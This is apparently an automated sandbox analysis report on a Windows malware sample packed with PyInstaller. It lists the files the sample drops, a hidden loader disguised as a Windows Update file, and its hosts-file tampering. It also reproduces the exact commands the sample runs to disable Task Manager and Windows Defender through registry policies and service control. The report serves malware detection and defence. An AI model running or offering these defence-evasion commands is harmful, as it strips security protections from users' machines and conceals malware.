Technical Information
Malicious functions
To complicate detection of its presence in the operating system,
blocks execution of the following system utilities:
- Windows Task Manager (Taskmgr)
- Windows Defender
Executes the following
- '<SYSTEM32>\net.exe' stop "Windows Defender Antivirus Service" /y
Modifies file system
Creates the following files
- %TEMP%\_mei11682\pil\_avif.cp312-win_amd64.pyd
- %TEMP%\_mei11682\pil\_imaging.cp312-win_amd64.pyd
- %TEMP%\_mei11682\pil\_imagingcms.cp312-win_amd64.pyd
- %TEMP%\_mei11682\pil\_imagingmath.cp312-win_amd64.pyd
- %TEMP%\_mei11682\pil\_imagingtk.cp312-win_amd64.pyd
- %TEMP%\_mei11682\pil\_webp.cp312-win_amd64.pyd
- %TEMP%\_mei11682\vcruntime140.dll
- %TEMP%\_mei11682\vcruntime140_1.dll
- %TEMP%\_mei11682\_asyncio.pyd
- %TEMP%\_mei11682\_bz2.pyd
- %TEMP%\_mei11682\_ctypes.pyd
- %TEMP%\_mei11682\_decimal.pyd
- %TEMP%\_mei11682\_elementtree.pyd
- %TEMP%\_mei11682\_hashlib.pyd
- %TEMP%\_mei11682\_lzma.pyd
- %TEMP%\_mei11682\_multiprocessing.pyd
- %TEMP%\_mei11682\_overlapped.pyd
- %TEMP%\_mei11682\_queue.pyd
- %TEMP%\_mei11682\_socket.pyd
- %TEMP%\_mei11682\_ssl.pyd
- %TEMP%\_mei11682\_wmi.pyd
- %TEMP%\_mei11682\base_library.zip
- %TEMP%\_mei11682\certifi\cacert.pem
- %TEMP%\_mei11682\charset_normalizer\md.cp312-win_amd64.pyd
- %TEMP%\_mei11682\charset_normalizer\md__mypyc.cp312-win_amd64.pyd
- %TEMP%\_mei11682\libcrypto-3.dll
- %TEMP%\_mei11682\libffi-8.dll
- %TEMP%\_mei11682\libssl-3.dll
- %TEMP%\_mei11682\pyexpat.pyd
- %TEMP%\_mei11682\python312.dll
- %TEMP%\_mei11682\pywin32_system32\pywintypes312.dll
- %TEMP%\_mei11682\select.pyd
- %TEMP%\_mei11682\unicodedata.pyd
- %TEMP%\_mei11682\win32\_win32sysloader.pyd
- %TEMP%\_mei11682\win32\perfmon.pyd
- %TEMP%\_mei11682\win32\servicemanager.pyd
- %TEMP%\_mei11682\win32\win32api.pyd
- %TEMP%\_mei11682\win32\win32event.pyd
- %TEMP%\_mei11682\win32\win32evtlog.pyd
- %TEMP%\_mei11682\win32\win32service.pyd
- %ALLUSERSPROFILE%\windowsupdate\loader_backup.exe
- <DRIVERS>\etc\hosts.backup.20251031_132037
- <DRIVERS>\etc\hosts.tmp
Sets the 'hidden' attribute to the following files
- %ALLUSERSPROFILE%\windowsupdate\loader_backup.exe
Substitutes the HOSTS file.
Miscellaneous
Restarts the analyzed sample
Executes the following
- '<SYSTEM32>\cmd.exe' /c "icacls "%ALLUSERSPROFILE%\WindowsUpdate\Loader_backup.exe" /grant Administrators:F /t /q"
- '<SYSTEM32>\icacls.exe' "%ALLUSERSPROFILE%\WindowsUpdate\Loader_backup.exe" /grant Administrators:F /t /q
- '<SYSTEM32>\cmd.exe' /c "icacls "%ALLUSERSPROFILE%\WindowsUpdate\Loader_backup.exe" /setowner "Administrators" /t /q"
- '<SYSTEM32>\icacls.exe' "%ALLUSERSPROFILE%\WindowsUpdate\Loader_backup.exe" /setowner "Administrators" /t /q
- '<SYSTEM32>\cmd.exe' /c "attrib +h +s "%ALLUSERSPROFILE%\WindowsUpdate\Loader_backup.exe""
- '<SYSTEM32>\attrib.exe' +h +s "%ALLUSERSPROFILE%\WindowsUpdate\Loader_backup.exe"
- '<SYSTEM32>\cmd.exe' /c "REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f"
- '<SYSTEM32>\reg.exe' ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
- '<SYSTEM32>\cmd.exe' /c "takeown /f "<DRIVERS>\etc\hosts""
- '<SYSTEM32>\takeown.exe' /f "<DRIVERS>\etc\hosts"
- '<SYSTEM32>\cmd.exe' /c "icacls "<DRIVERS>\etc\hosts" /grant Administrators:F"
- '<SYSTEM32>\icacls.exe' "<DRIVERS>\etc\hosts" /grant Administrators:F
- '<SYSTEM32>\ipconfig.exe' /flushdns
- '<SYSTEM32>\cmd.exe' /c "REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f"
- '<SYSTEM32>\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
- '<SYSTEM32>\cmd.exe' /c "REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiVirus /t REG_DWORD /d 1 /f"
- '<SYSTEM32>\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiVirus /t REG_DWORD /d 1 /f
- '<SYSTEM32>\cmd.exe' /c "REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f"
- '<SYSTEM32>\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
- '<SYSTEM32>\cmd.exe' /c "REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f"
- '<SYSTEM32>\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f
- '<SYSTEM32>\cmd.exe' /c "REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableOnAccessProtection /t REG_DWORD /d 1 /f"
- '<SYSTEM32>\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableOnAccessProtection /t REG_DWORD /d 1 /f
- '<SYSTEM32>\cmd.exe' /c "REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableScanOnRealtimeEnable /t REG_DWORD /d 1 /f"
- '<SYSTEM32>\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableScanOnRealtimeEnable /t REG_DWORD /d 1 /f
- '<SYSTEM32>\cmd.exe' /c "REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SpyNet" /v DisableBlockAtFirstSeen /t REG_DWORD /d 1 /f"
- '<SYSTEM32>\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SpyNet" /v DisableBlockAtFirstSeen /t REG_DWORD /d 1 /f
- '<SYSTEM32>\cmd.exe' /c "REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SpyNet" /v LocalSettingOverrideSpynetReporting /t REG_DWORD /d 0 /f"
- '<SYSTEM32>\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SpyNet" /v LocalSettingOverrideSpynetReporting /t REG_DWORD /d 0 /f
- '<SYSTEM32>\cmd.exe' /c "net stop "Windows Defender Antivirus Service" /y"
- '<SYSTEM32>\net1.exe' stop "Windows Defender Antivirus Service" /y
- '<SYSTEM32>\cmd.exe' /c "sc config "WinDefend" start= disabled"
- '<SYSTEM32>\sc.exe' config "WinDefend" start= disabled
- '<SYSTEM32>\cmd.exe' /c "icacls "%ALLUSERSPROFILE%\WindowsUpdate\Loader_backup.exe" /grant Administrators:F /t /q"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "icacls "%ALLUSERSPROFILE%\WindowsUpdate\Loader_backup.exe" /setowner "Administrators" /t /q"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "attrib +h +s "%ALLUSERSPROFILE%\WindowsUpdate\Loader_backup.exe""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "takeown /f "<DRIVERS>\etc\hosts""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "icacls "<DRIVERS>\etc\hosts" /grant Administrators:F"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiVirus /t REG_DWORD /d 1 /f"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableOnAccessProtection /t REG_DWORD /d 1 /f"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableScanOnRealtimeEnable /t REG_DWORD /d 1 /f"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SpyNet" /v DisableBlockAtFirstSeen /t REG_DWORD /d 1 /f"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SpyNet" /v LocalSettingOverrideSpynetReporting /t REG_DWORD /d 0 /f"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "net stop "Windows Defender Antivirus Service" /y"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "sc config "WinDefend" start= disabled"' (with hidden window)
